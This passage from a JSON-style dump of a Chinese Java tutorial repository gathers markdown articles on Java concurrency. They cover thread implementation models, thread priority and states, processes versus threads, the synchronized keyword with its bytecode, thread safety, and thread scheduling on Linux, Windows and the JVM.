使用用户线程的优势在于不需要系统内核支援，劣势也在于没有系统内核的支援，所有的线程操作都需要用户程序自己处理。线程的创建、切换和调度都是需要考虑的问题，而且由于操作系统只把处理器资源分配到进程，那诸如“阻塞如何处理”、“多处理器系统中如何将线程映射到其他处理器上”这类问题解决起来将会异常困难，甚至不可能完成。因而使用用户线程实现的程序一般都比较复杂 ，除了以前在不支持多线程的操作系统中（如DOS）的多线程程序与少数有特殊需求的程序外，现在使用用户线程的程序越来越少了，Java、Ruby等语言都曾经使用过用户线程，最终又都放弃使用它。\n\n## 使用用户线程加轻量级进程混合实现 　　\n\n线程除了依赖内核线程实现和完全由用户程序自己实现之外，还有一种将内核线程与用户线程一起使用的实现方式。在这种混合实现下，既存在用户线程，也存在轻量级进程。用户线程还是完全建立在用户空间中，因此用户线程的创建、切换、析构等操作依然廉价，并且可以支持大规模的用户线程并发。而操作系统提供支持的轻量级进程则作为用户线程和内核线程之间的桥梁，这样可以使用内核提供的线程调度功能及处理器映射，并且用户线程的系统调用要通过轻量级线程来完成，大大降低了整个进程被完全阻塞的风险。在这种混合模式中，用户线程与轻量级进程的数量比是不定的，即为N：M的关系，如图12-5所示，这种就是多对多的线程模型。\n\n许多UNIX系列的操作系统，如Solaris、HP-UX等都提供了N：M的线程模型实现。\n\n![][3]￼\n\n## Java线程的实现\n\n　　 Java线程在JDK 1.2之前，是基于称为“绿色线程”（Green Threads）的用户线程实现的，而在JDK 1.2中，线程模型替换为基于操作系统原生线程模型来实现。因此，在目前的JDK版本中，操作系统支持怎样的线程模型，在很大程度上决定了Java虚拟机的线程是怎样映射的，这点在不同的平台上没有办法达成一致，虚拟机规范中也并未限定Java线程需要使用哪种线程模型来实现。线程模型只对线程的并发规模和操作成本产生影响，对Java程序的编码和运行过程来说，这些差异都是透明的。\n\n　　对于Sun JDK来说，它的Windows版与Linux版都是使用一对一的线程模型实现的，一条Java线程就映射到一条轻量级进程之中，因为Windows和Linux系统提供的线程模型就是一对一的。\n\n　　而在Solaris平台中，由于操作系统的线程特性可以同时支持一对一（通过Bound Threads或Alternate Libthread实现）及多对多（通过LWP/Thread Based Synchronization实现）的线程模型，因此在Solaris版的JDK中也对应提供了两个平台专有的虚拟机参数：-XX：+UseLWPSynchronization（默认值）和-XX：+UseBoundThreads来明确指定虚拟机使用哪种线程模型。 　　 Java语言则提供了在不同硬件和操作系统平台下对线程操作的统一处理，每个已经执行start（）且还未结束的java.lang.Thread类的实例就代表了一个线程。我们注意到Thread类与大部分的Java API有显著的差别，它的所有关键方法都是声明为Native的。在Java API中，一个Native方法往往意味着这个方法没有使用或无法使用平台无关的手段来实现（当然也可能是为了执行效率而使用Native方法，不过，通常最高效率的手段也就是平台相关的手段）。\n\n(参考：深入理解Java虚拟机）\n\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2018/12/15442554190788.jpg\n [2]: http://www.hollischuang.com/wp-content/uploads/2018/12/15442554407298.jpg\n [3]: http://www.hollischuang.com/wp-content/uploads/2018/12/15442554705166.jpg"
  },
  {
    "path": "docs/basics/concurrent-coding/parallel.md",
    "content": "\n并行（Parallel），当系统有一个以上CPU时，当一个CPU执行一个进程时，另一个CPU可以执行另一个进程，两个进程互不抢占CPU资源，可以同时进行，这种方式我们称之为并行(Parallel)。"
  },
  {
    "path": "docs/basics/concurrent-coding/priority-of-thread.md",
    "content": "我们学习过，Java虚拟机采用抢占式调度模型。也就是说他会给优先级更高的线程优先分配CPU。\n\n虽然Java线程调度是系统自动完成的，但是我们还是可以“建议”系统给某些线程多分配一点执行时间，另外的一些线程则可以少分配一点——这项操作可以通过设置线程优先级来完成。\n\nJava语言一共设置了10个级别的线程优先级（Thread.MIN_PRIORITY至Thread.MAX_PRIORITY），在两个线程同时处于Ready状态时，优先级越高的线程越容易被系统选择执行。\n\nJava 线程优先级使用 1 ~ 10 的整数表示。默认的优先级是5。\n\n    最低优先级 1：Thread.MIN_PRIORITY\n    \n    最高优先级 10：Thread.MAX_PRIORITY\n    \n    普通优先级 5：Thread.NORM_PRIORITY\n    \n\n在Java中，可以使用Thread类的`setPriority()`方法为线程设置了新的优先级。`getPriority()`方法返回线程的当前优先级。当创建一个线程时，其默认优先级是创建该线程的线程的优先级。\n\n以下代码演示如何设置和获取线程的优先：\n\n    /**\n     * @author Hollis\n     */\n    public class Main {\n    \n        public static void main(String[] args) {\n            Thread t = Thread.currentThread();\n            System.out.println(\"Main Thread  Priority:\" + t.getPriority());\n    \n            Thread t1 = new Thread();\n            System.out.println(\"Thread(t1) Priority:\" + t1.getPriority());\n            t1.setPriority(Thread.MAX_PRIORITY - 1);\n            System.out.println(\"Thread(t1) Priority:\" + t1.getPriority());\n    \n            t.setPriority(Thread.NORM_PRIORITY);\n            System.out.println(\"Main Thread  Priority:\" + t.getPriority());\n    \n            Thread t2 = new Thread();\n            System.out.println(\"Thread(t2) Priority:\" + t2.getPriority());\n    \n            // Change thread t2 priority to minimum\n            t2.setPriority(Thread.MIN_PRIORITY);\n            System.out.println(\"Thread(t2) Priority:\" + t2.getPriority());\n        }\n    \n    }\n    \n\n输出结果为：\n\n    Main Thread  Priority:5\n    Thread(t1) Priority:5\n    Thread(t1) Priority:9\n    Main Thread  Priority:5\n    Thread(t2) Priority:5\n    Thread(t2) Priority:1\n    \n\n在上面的代码中，Java虚拟机启动时，就会通过main方法启动一个线程，JVM就会一直运行下去，直到以下任意一个条件发生：\n\n*   调用了exit()方法，并且exit()有权限被正常执行。\n*   所有的“非守护线程”都死了(即JVM中仅仅只有“守护线程”)。"
  },
  {
    "path": "docs/basics/concurrent-coding/progress-vs-thread.md",
    "content": "为了看起来像是“同时干多件事”，分时操作系统是把CPU的时间划分成长短基本相同的”时间片”，通过操作系统的管理，把这些时间片依次轮流地分配给各个用户的各个任务使用。\n\n在多任务处理系统中，CPU需要处理所有程序的操作，当用户来回切换它们时，需要记录这些程序执行到哪里。在操作系统中，CPU切换到另一个进程需要保存当前进程的状态并恢复另一个进程的状态：当前运行任务转为就绪（或者挂起、删除）状态，另一个被选定的就绪任务成为当前任务。**上下文切换**就是这样一个过程，他允许CPU记录并恢复各种正在运行程序的状态，使它能够完成切换操作。\n\n> 在上下文切换过程中，CPU会停止处理当前运行的程序，并保存当前程序运行的具体位置以便之后继续运行。从这个角度来看，上下文切换有点像我们同时阅读几本书，在来回切换书本的同时我们需要记住每本书当前读到的页码。在程序中，上下文切换过程中的“页码”信息是保存在进程控制块（PCB）中的。PCB还经常被称作“切换帧”（switchframe）。“页码”信息会一直保存到CPU的内存中，直到他们被再次使用。\n\n对于操作系统来说，一个任务就是一个进程（Process），比如打开一个浏览器就是启动一个浏览器进程，打开一个记事本就启动了一个记事本进程，打开两个记事本就启动了两个记事本进程，打开一个Word就启动了一个Word进程。\n\n而在多个进程之间切换的时候，需要进行上下文切换。但是上下文切换势必会耗费一些资源。于是人们考虑，能不能在一个进程中增加一些“子任务”，这样减少上下文切换的成本。比如我们使用Word的时候，它可以同时进行打字、拼写检查、字数统计等，这些子任务之间共用同一个进程资源，但是他们之间的切换不需要进行上下文切换。\n\n在一个进程内部，要同时干多件事，就需要同时运行多个“子任务”，我们把进程内的这些“子任务”称为线程（Thread）。\n\n随着时间的慢慢发展，人们进一步的切分了进程和线程之间的职责。**把进程当做资源分配的基本单元，把线程当做执行的基本单元，同一个进程的多个线程之间共享资源**\n\n拿我们比较熟悉的Java语言来说，Java程序是运行在JVM上面的，每一个JVM其实就是一个进程。所有的资源分配都是基于JVM进程来的。而在这个JVM进程中，又可以创建出很多线程，多个线程之间共享JVM资源，并且多个线程可以并发执行。"
  },
  {
    "path": "docs/basics/concurrent-coding/state-of-thread.md",
    "content": "线程是有状态的，并且这些状态之间也是可以互相流转的。Java中线程的状态分为6种：\n\n*   1\\.初始(NEW)：新创建了一个线程对象，但还没有调用start()方法。\n*   1\\.运行(RUNNABLE)：Java线程中将就绪（READY）和运行中（RUNNING）两种状态笼统的称为“运行”。 \n    *   就绪（READY）:线程对象创建后，其他线程(比如main线程）调用了该对象的start()方法。该状态的线程位于可运行线程池中，等待被线程调度选中并分配cpu使用权 。\n    *   运行中（RUNNING）：就绪(READY)的线程获得了cpu 时间片，开始执行程序代码。\n*   3\\.阻塞(BLOCKED)：表示线程阻塞于锁（关于锁，在后面章节会介绍）。\n*   4\\.等待(WAITING)：进入该状态的线程需要等待其他线程做出一些特定动作（通知或中断）。\n*   5\\.超时等待(TIMED_WAITING)：该状态不同于WAITING，它可以在指定的时间后自行返回。\n*   6\\. 终止(TERMINATED)：表示该线程已经执行完毕。\n\n下图是一张线程状态的流转图：\n\n<img src=\"https://www.hollischuang.com/wp-content/uploads/2018/12/167019dc85aaaf5a.jpg\" alt=\"\" width=\"1155\" height=\"771\" class=\"aligncenter size-full wp-image-5859\" />\n\n\n可以看到，图中的各个状态之间的流转路径上都有标注对应的Java中的方法。这些就是Java中进行线程调度的一些api。\n\n"
  },
  {
    "path": "docs/basics/concurrent-coding/synchronized.md",
    "content": "在[再有人问你Java内存模型是什么，就把这篇文章发给他。][1]中我们曾经介绍过，Java语言为了解决并发编程中存在的原子性、可见性和有序性问题，提供了一系列和并发处理相关的关键字，比如`synchronized`、`volatile`、`final`、`concurren包`等。\n\n在《深入理解Java虚拟机》中，有这样一段话：\n\n> `synchronized`关键字在需要原子性、可见性和有序性这三种特性的时候都可以作为其中一种解决方案，看起来是“万能”的。的确，大部分并发控制操作都能使用synchronized来完成。\n\n海明威在他的《午后之死》说过的：“冰山运动之雄伟壮观，是因为他只有八分之一在水面上。”对于程序员来说，`synchronized`只是个关键字而已，用起来很简单。之所以我们可以在处理多线程问题时可以不用考虑太多，就是因为这个关键字帮我们屏蔽了很多细节。\n\n那么，本文就围绕`synchronized`展开，主要介绍`synchronized`的用法、`synchronized`的原理，以及`synchronized`是如何提供原子性、可见性和有序性保障的等。\n\n### synchronized的用法\n\n`synchronized`是Java提供的一个并发控制的关键字。主要有两种用法，分别是同步方法和同步代码块。也就是说，`synchronized`既可以修饰方法也可以修饰代码块。\n\n    /**\n     * @author Hollis 18/08/04.\n     */\n    public class SynchronizedDemo {\n         //同步方法\n        public synchronized void doSth(){\n            System.out.println(\"Hello World\");\n        }\n    \n        //同步代码块\n        public void doSth1(){\n            synchronized (SynchronizedDemo.class){\n                System.out.println(\"Hello World\");\n            }\n        }\n    }\n    \n\n被`synchronized`修饰的代码块及方法，在同一时间，只能被单个线程访问。\n\n### synchronized的实现原理\n\n`synchronized`，是Java中用于解决并发情况下数据同步访问的一个很重要的关键字。当我们想要保证一个共享资源在同一时间只会被一个线程访问到时，我们可以在代码中使用`synchronized`关键字对类或者对象加锁。\n\n在[深入理解多线程（一）——Synchronized的实现原理][2]中我曾经介绍过其实现原理，为了保证知识的完整性，这里再简单介绍一下，详细的内容请去原文阅读。\n\n我们对上面的代码进行反编译，可以得到如下代码：\n\n    public synchronized void doSth();\n        descriptor: ()V\n        flags: ACC_PUBLIC, ACC_SYNCHRONIZED\n        Code:\n          stack=2, locals=1, args_size=1\n             0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;\n             3: ldc           #3                  // String Hello World\n             5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V\n             8: return\n    \n      public void doSth1();\n        descriptor: ()V\n        flags: ACC_PUBLIC\n        Code:\n          stack=2, locals=3, args_size=1\n             0: ldc           #5                  // class com/hollis/SynchronizedTest\n             2: dup\n             3: astore_1\n             4: monitorenter\n             5: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;\n             8: ldc           #3                  // String Hello World\n            10: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V\n            13: aload_1\n            14: monitorexit\n            15: goto          23\n            18: astore_2\n            19: aload_1\n            20: monitorexit\n            21: aload_2\n            22: athrow\n            23: return\n    \n\n通过反编译后代码可以看出：对于同步方法，JVM采用`ACC_SYNCHRONIZED`标记符来实现同步。 对于同步代码块。JVM采用`monitorenter`、`monitorexit`两个指令来实现同步。\n\n在[The Java® Virtual Machine Specification][3]中有关于同步方法和同步代码块的实现原理的介绍，我翻译成中文如下：\n\n> 方法级的同步是隐式的。同步方法的常量池中会有一个`ACC_SYNCHRONIZED`标志。当某个线程要访问某个方法的时候，会检查是否有`ACC_SYNCHRONIZED`，如果有设置，则需要先获得监视器锁，然后开始执行方法，方法执行之后再释放监视器锁。这时如果其他线程来请求执行方法，会因为无法获得监视器锁而被阻断住。值得注意的是，如果在方法执行过程中，发生了异常，并且方法内部并没有处理该异常，那么在异常被抛到方法外面之前监视器锁会被自动释放。\n> \n> 同步代码块使用`monitorenter`和`monitorexit`两个指令实现。可以把执行`monitorenter`指令理解为加锁，执行`monitorexit`理解为释放锁。 每个对象维护着一个记录着被锁次数的计数器。未被锁定的对象的该计数器为0，当一个线程获得锁（执行`monitorenter`）后，该计数器自增变为 1 ，当同一个线程再次获得该对象的锁的时候，计数器再次自增。当同一个线程释放锁（执行`monitorexit`指令）的时候，计数器再自减。当计数器为0的时候。锁将被释放，其他线程便可以获得锁。\n\n无论是`ACC_SYNCHRONIZED`还是`monitorenter`、`monitorexit`都是基于Monitor实现的，在Java虚拟机(HotSpot)中，Monitor是基于C++实现的，由ObjectMonitor实现。\n\nObjectMonitor类中提供了几个方法，如`enter`、`exit`、`wait`、`notify`、`notifyAll`等。`sychronized`加锁的时候，会调用objectMonitor的enter方法，解锁的时候会调用exit方法。（关于Monitor详见[深入理解多线程（四）—— Moniter的实现原理][4]）\n\n### synchronized与原子性\n\n原子性是指一个操作是不可中断的，要全部执行完成，要不就都不执行。\n\n我们在[Java的并发编程中的多线程问题到底是怎么回事儿？][5]中分析过：线程是CPU调度的基本单位。CPU有时间片的概念，会根据不同的调度算法进行线程调度。当一个线程获得时间片之后开始执行，在时间片耗尽之后，就会失去CPU使用权。所以在多线程场景下，由于时间片在线程间轮换，就会发生原子性问题。\n\n在Java中，为了保证原子性，提供了两个高级的字节码指令`monitorenter`和`monitorexit`。前面中，介绍过，这两个字节码指令，在Java中对应的关键字就是`synchronized`。\n\n通过`monitorenter`和`monitorexit`指令，可以保证被`synchronized`修饰的代码在同一时间只能被一个线程访问，在锁未释放之前，无法被其他线程访问到。因此，在Java中可以使用`synchronized`来保证方法和代码块内的操作是原子性的。\n\n> 线程1在执行`monitorenter`指令的时候，会对Monitor进行加锁，加锁后其他线程无法获得锁，除非线程1主动解锁。即使在执行过程中，由于某种原因，比如CPU时间片用完，线程1放弃了CPU，但是，他并没有进行解锁。而由于`synchronized`的锁是可重入的，下一个时间片还是只能被他自己获取到，还是会继续执行代码。直到所有代码执行完。这就保证了原子性。\n\n### synchronized与可见性\n\n可见性是指当多个线程访问同一个变量时，一个线程修改了这个变量的值，其他线程能够立即看得到修改的值。\n\n我们在[再有人问你Java内存模型是什么，就把这篇文章发给他。][1]中分析过：Java内存模型规定了所有的变量都存储在主内存中，每条线程还有自己的工作内存，线程的工作内存中保存了该线程中是用到的变量的主内存副本拷贝，线程对变量的所有操作都必须在工作内存中进行，而不能直接读写主内存。不同的线程之间也无法直接访问对方工作内存中的变量，线程间变量的传递均需要自己的工作内存和主存之间进行数据同步进行。所以，就可能出现线程1改了某个变量的值，但是线程2不可见的情况。\n\n前面我们介绍过，被`synchronized`修饰的代码，在开始执行时会加锁，执行完成后会进行解锁。而为了保证可见性，有一条规则是这样的：对一个变量解锁之前，必须先把此变量同步回主存中。这样解锁后，后续线程就可以访问到被修改后的值。\n\n所以，synchronized关键字锁住的对象，其值是具有可见性的。\n\n### synchronized与有序性\n\n有序性即程序执行的顺序按照代码的先后顺序执行。\n\n我们在[再有人问你Java内存模型是什么，就把这篇文章发给他。][1]中分析过：除了引入了时间片以外，由于处理器优化和指令重排等，CPU还可能对输入代码进行乱序执行，比如load->add->save 有可能被优化成load->save->add 。这就是可能存在有序性问题。\n\n这里需要注意的是，`synchronized`是无法禁止指令重排和处理器优化的。也就是说，`synchronized`无法避免上述提到的问题。\n\n那么，为什么还说`synchronized`也提供了有序性保证呢？\n\n这就要再把有序性的概念扩展一下了。Java程序中天然的有序性可以总结为一句话：如果在本线程内观察，所有操作都是天然有序的。如果在一个线程中观察另一个线程，所有操作都是无序的。\n\n以上这句话也是《深入理解Java虚拟机》中的原句，但是怎么理解呢？周志明并没有详细的解释。这里我简单扩展一下，这其实和`as-if-serial语义`有关。\n\n`as-if-serial`语义的意思指：不管怎么重排序（编译器和处理器为了提高并行度），单线程程序的执行结果都不能被改变。编译器和处理器无论如何优化，都必须遵守`as-if-serial`语义。\n\n这里不对`as-if-serial语义`详细展开了，简单说就是，`as-if-serial语义`保证了单线程中，指令重排是有一定的限制的，而只要编译器和处理器都遵守了这个语义，那么就可以认为单线程程序是按照顺序执行的。当然，实际上还是有重排的，只不过我们无须关心这种重排的干扰。\n\n所以呢，由于`synchronized`修饰的代码，同一时间只能被同一线程访问。那么也就是单线程执行的。所以，可以保证其有序性。\n\n### synchronized与锁优化\n\n前面介绍了`synchronized`的用法、原理以及对并发编程的作用。是一个很好用的关键字。\n\n`synchronized`其实是借助Monitor实现的，在加锁时会调用objectMonitor的`enter`方法，解锁的时候会调用`exit`方法。事实上，只有在JDK1.6之前，synchronized的实现才会直接调用ObjectMonitor的`enter`和`exit`，这种锁被称之为重量级锁。\n\n所以，在JDK1.6中出现对锁进行了很多的优化，进而出现轻量级锁，偏向锁，锁消除，适应性自旋锁，锁粗化(自旋锁在1.4就有，只不过默认的是关闭的，jdk1.6是默认开启的)，这些操作都是为了在线程之间更高效的共享数据 ，解决竞争问题。\n\n关于自旋锁、锁粗化和锁消除可以参考[深入理解多线程（五）—— Java虚拟机的锁优化技术][6]，关于轻量级锁和偏向锁，已经在排期规划中，我后面会有文章单独介绍，将独家发布在我的博客(http://www.hollischuang.com)和公众号(Hollis)中，敬请期待。\n\n好啦，关于`synchronized`关键字，我们介绍了其用法、原理、以及如何保证的原子性、顺序性和可见性，同时也扩展的留下了锁优化相关的资料及思考。后面我们会继续介绍`volatile`关键字以及他和`synchronized`的区别等。敬请期待。\n\n [1]: http://www.hollischuang.com/archives/2550\n [2]: http://www.hollischuang.com/archives/1883\n [3]: https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.11.10\n [4]: http://www.hollischuang.com/archives/2030\n [5]: http://www.hollischuang.com/archives/2618\n [6]: http://www.hollischuang.com/archives/2344"
  },
  {
    "path": "docs/basics/concurrent-coding/thread-safe.md",
    "content": "# 什么是线程安全\n\n线程安全，维基百科中的解释是：\n\n> 线程安全是编程中的术语，指某个函数、函数库在**并发**环境中被调用时，能够正确地处理**多个线程**之间的**共享变量**，使程序功能正确完成。\n\n我们把这个定义拆解一下，我们需要弄清楚这么几点： 1、并发 2、多线程 3、共享变量\n\n# 并发\n\n提到线程安全，必须要提及的一个词那就是并发，如果没有并发的话，那么也就不存在线程安全问题了。\n\n## 什么是并发\n\n并发（Concurrent），在操作系统中，是指一个时间段中有几个程序都处于已启动运行到运行完毕之间，且这几个程序都是在同一个处理机上运行。\n\n那么，操作系统视如何实现这种并发的呢？\n\n现在我们用到操作系统，无论是Windows、Linux还是MacOS等其实都是**多用户多任务分时操作系统**。使用这些操作系统的用户是可以“同时”干多件事的。\n\n但是实际上，对于单CPU的计算机来说，在CPU中，同一时间是只能干一件事儿的。为了看起来像是“同时干多件事”，分时操作系统是把CPU的时间划分成长短基本相同的时间区间,即”时间片”，通过操作系统的管理，把这些时间片依次轮流地分配给各个用户使用。\n\n如果某个作业在时间片结束之前,整个任务还没有完成，那么该作业就被暂停下来,放弃CPU，等待下一轮循环再继续做.此时CPU又分配给另一个作业去使用。\n\n由于计算机的处理速度很快，只要时间片的间隔取得适当,那么一个用户作业从用完分配给它的一个时间片到获得下一个CPU时间片，中间有所”停顿”，但用户察觉不出来,好像整个系统全由它”独占”似的。\n\n所以，在单CPU的计算机中，我们看起来“同时干多件事”，其实是通过CPU时间片技术，并发完成的。\n\n提到并发，还有另外一个词容易和他混淆，那就是并行。\n\n## 并发与并行之间的关系\n\n并行（Parallel），当系统有一个以上CPU时，当一个CPU执行一个进程时，另一个CPU可以执行另一个进程，两个进程互不抢占CPU资源，可以同时进行，这种方式我们称之为并行(Parallel)。\n\nErlang 之父 Joe Armstrong 用一张比较形象的图解释了并发与并行的区别：\n\n<img src=\"http://www.hollischuang.com/wp-content/uploads/2018/12/166719746fa11df4.jpg\" alt=\"\" width=\"600\" height=\"451\" class=\"aligncenter size-full wp-image-5857\" />\n\n并发是两个队伍交替使用一台咖啡机。并行是两个队伍同时使用两台咖啡机。\n\n映射到计算机系统中，上图中的咖啡机就是CPU，两个队伍指的就是两个进程。\n\n# 多线程\n\n## 进程和线程\n\n理解了并发和并行之间的关系和区别后，我们再回到前面介绍的多任务分时操作系统，看看CPU是如何进行进程调度的。\n\n为了看起来像是“同时干多件事”，分时操作系统是把CPU的时间划分成长短基本相同的”时间片”，通过操作系统的管理，把这些时间片依次轮流地分配给各个用户的各个任务使用。\n\n在多任务处理系统中，CPU需要处理所有程序的操作，当用户来回切换它们时，需要记录这些程序执行到哪里。在操作系统中，CPU切换到另一个进程需要保存当前进程的状态并恢复另一个进程的状态：当前运行任务转为就绪（或者挂起、删除）状态，另一个被选定的就绪任务成为当前任务。**上下文切换**就是这样一个过程，他允许CPU记录并恢复各种正在运行程序的状态，使它能够完成切换操作。\n\n> 在上下文切换过程中，CPU会停止处理当前运行的程序，并保存当前程序运行的具体位置以便之后继续运行。从这个角度来看，上下文切换有点像我们同时阅读几本书，在来回切换书本的同时我们需要记住每本书当前读到的页码。在程序中，上下文切换过程中的“页码”信息是保存在进程控制块（PCB）中的。PCB还经常被称作“切换帧”（switchframe）。“页码”信息会一直保存到CPU的内存中，直到他们被再次使用。\n\n对于操作系统来说，一个任务就是一个进程（Process），比如打开一个浏览器就是启动一个浏览器进程，打开一个记事本就启动了一个记事本进程，打开两个记事本就启动了两个记事本进程，打开一个Word就启动了一个Word进程。\n\n而在多个进程之间切换的时候，需要进行上下文切换。但是上下文切换势必会耗费一些资源。于是人们考虑，能不能在一个进程中增加一些“子任务”，这样减少上下文切换的成本。比如我们使用Word的时候，它可以同时进行打字、拼写检查、字数统计等，这些子任务之间共用同一个进程资源，但是他们之间的切换不需要进行上下文切换。\n\n在一个进程内部，要同时干多件事，就需要同时运行多个“子任务”，我们把进程内的这些“子任务”称为线程（Thread）。\n\n随着时间的慢慢发展，人们进一步的切分了进程和线程之间的职责。**把进程当做资源分配的基本单元，把线程当做执行的基本单元，同一个进程的多个线程之间共享资源**\n\n拿我们比较熟悉的Java语言来说，Java程序是运行在JVM上面的，每一个JVM其实就是一个进程。所有的资源分配都是基于JVM进程来的。而在这个JVM进程中，又可以创建出很多线程，多个线程之间共享JVM资源，并且多个线程可以并发执行。\n\n# 共享变量\n\n所谓共享变量，指的是多个线程都可以操作的变量。\n\n前面我们提到过，进程视分配资源的基本单位，线程是执行的基本单位。所以，多个线程之间是可以共享一部分进程中的数据的。在JVM中，Java堆和方法区的区域是多个线程共享的数据区域。也就是说，多个线程可以操作保存在堆或者方法区中的同一个数据。那么，换句话说，保存在堆和方法区中的变量就是Java中的共享变量。\n\n那么，Java中哪些变量是存放在堆中，哪些变量是存放在方法区中，又有哪些变量是存放在栈中的呢？\n\n## 类变量、成员变量和局部变量\n\nJava中共有三种变量，分别是类变量、成员变量和局部变量。他们分别存放在JVM的方法区、堆内存和栈内存中。\n\n    /**\n     * @author Hollis\n     */\n    public class Variables {\n    \n        /**\n         * 类变量\n         */\n        private static int a;\n    \n        /**\n         * 成员变量\n         */\n        private int b;\n    \n        /**\n         * 局部变量\n         * @param c\n         */\n        public void test(int c){\n            int d;\n        }\n    }\n    \n\n上面定义的三个变量中，变量a就是类变量，变量b就是成员变量，而变量c和d是局部变量。\n\n所以，变量a和b是共享变量，变量c和d是非共享变量。所以如果遇到多线程场景，对于变量a和b的操作是需要考虑线程安全的，而对于线程c和d的操作是不需要考虑线程安全的。\n\n# 小结\n\n在了解了一些基础知识以后，我们再来回过头看看线程安全的定义：\n\n> 线程安全是编程中的术语，指某个函数、函数库在**并发**环境中被调用时，能够正确地处理**多个线程**之间的**共享变量**，使程序功能正确完成。\n\n现在我们知道了什么是并发环境，什么是多个线程以及什么是共享变量。那么只要我们在编写多线程的代码的时候注意一下，保证程序功能可以正确的执行就行了。\n\n那么问题来了，定义中说线程安全能够**正确地处理**多个线程之间的共享变量，使程序功能**正确完成**。\n\n多线程场景中存在哪些问题会导致无法正确的处理共享变量？ 多线程场景中存在哪些问题会导致程序无法正确完成？ 如何解决多线程场景中影响『正确』的这些问题？ 解决这些问题的各个手段的实现原理又是什么？\n\n [1]: http://www.hollischuang.com/archives/3029\n [2]: http://www.hollischuang.com/archives/tag/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3java%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B"
  },
  {
    "path": "docs/basics/concurrent-coding/thread-scheduling.md",
    "content": "在关于线程安全的文章中，我们提到过，对于单CPU的计算机来说，在任意时刻只能执行一条机器指令，每个线程只有获得CPU的使用权才能执行指令。\n\n所谓多线程的并发运行，其实是指从宏观上看，各个线程轮流获得CPU的使用权，分别执行各自的任务。\n\n前面关于线程状态的介绍中，我们知道，线程的运行状态中包含两种子状态，即就绪（READY）和运行中(RUNNING)。\n\n而一个线程想要从就绪状态变成运行中状态，这个过程需要系统调度，即给线程分配CPU的使用权，获得CPU使用权的线程才会从就绪状态变成运行状态。\n\n**给多个线程按照特定的机制分配CPU的使用权的过程就叫做线程调度。**\n\n还记得在介绍进程和线程的区别的时候，我们提到过的一句话吗：进程是分配资源的基本单元，线程是CPU调度的基本单元。这里所说的调度指的就是给其分配CPU时间片，让其执行任务。\n\n## Linux线程调度\n\n在Linux中，线程是由进程来实现，线程就是轻量级进程（ lightweight process ），因此在Linux中，线程的调度是按照进程的调度方式来进行调度的，也就是说线程是调度单元。\n\nLinux这样实现的线程的好处的之一是：线程调度直接使用进程调度就可以了，没必要再搞一个进程内的线程调度器。在Linux中，调度器是基于线程的调度策略（scheduling policy）和静态调度优先级（static scheduling priority）来决定那个线程来运行。\n\n在Linux中，主要有三种调度策略。分别是：\n\n*   SCHED_OTHER 分时调度策略，（默认的）\n*   SCHED_FIFO 实时调度策略，先到先服务\n*   SCHED_RR 实时调度策略，时间片轮转 \n\n## Windows线程调度\n\nWindows 采用基于优先级的、抢占调度算法来调度线程。\n\n用于处理调度的 Windows 内核部分称为调度程序，Windows 调度程序确保具有最高优先级的线程总是在运行的。由于调度程序选择运行的线程会一直运行，直到被更高优先级的线程所抢占，或终止，或时间片已到，或调用阻塞系统调用（如 I/O）。如果在低优先级线程运行时，更高优先级的实时线程变成就绪，那么低优先级线程就被抢占。这种抢占使得实时线程在需要使用 CPU 时优先得到使用。\n\n# Java线程调度\n\n可以看到，不同的操作系统，有不同的线程调度策略。但是，作为一个Java开发人员来说，我们日常开发过程中一般很少关注操作系统层面的东西。\n\n主要是因为Java程序都是运行在Java虚拟机上面的，而虚拟机帮我们屏蔽了操作系统的差异，所以我们说Java是一个跨平台语言。\n\n**在操作系统中，一个Java程序其实就是一个进程。所以，我们说Java是单进程、多线程的！**\n\n前面关于线程的实现也介绍过，Thread类与大部分的Java API有显著的差别，它的所有关键方法都是声明为Native的，也就是说，他需要根据不同的操作系统有不同的实现。\n\n在Java的多线程程序中，为保证所有线程的执行能按照一定的规则执行，JVM实现了一个线程调度器，它定义了线程调度模型，对于CPU运算的分配都进行了规定，按照这些特定的机制为多个线程分配CPU的使用权。\n\n主要有两种调度模型：**协同式线程调度**和**抢占式调度模型**。\n\n## 协同式线程调度\n\n协同式调度的多线程系统，线程的执行时间由线程本身来控制，线程把自己的工作执行完了之后，要主动通知系统切换到另外一个线程上。协同式多线程的最大好处是实现简单，而且由于线程要把自己的事情干完后才会进行线程切换，切换操作对线程自己是可知的，所以没有什么线程同步的问题。\n\n## 抢占式调度模型\n\n抢占式调度的多线程系统，那么每个线程将由系统来分配执行时间，线程的切换不由线程本身来决定。在这种实现线程调度的方式下，线程的执行时间是系统可控的，也不会有一个线程导致整个进程阻塞的问题。\n\n系统会让可运行池中优先级高的线程占用CPU，如果可运行池中的线程优先级相同，那么就随机选择一个线程，使其占用CPU。处于运行状态的线程会一直运行，直至它不得不放弃CPU。\n\n**Java虚拟机采用抢占式调度模型。**\n\n虽然Java线程调度是系统自动完成的，但是我们还是可以“建议”系统给某些线程多分配一点执行时间，另外的一些线程则可以少分配一点——这项操作可以通过设置线程优先级来完成。Java语言一共设置了10个级别的线程优先级（Thread.MIN_PRIORITY至Thread.MAX_PRIORITY），在两个线程同时处于Ready状态时，优先级越高的线程越容易被系统选择执行。\n\n不过，线程优先级并不是太靠谱，原因是Java的线程是通过映射到系统的原生线程上来实现的，所以线程调度最终还是取决于操作系统，虽然现在很多操作系统都提供线程优先级的概念，但是并不见得能与Java线程的优先级一一对应。"
  },
  {
    "path": "docs/basics/concurrent-coding/thread.md",
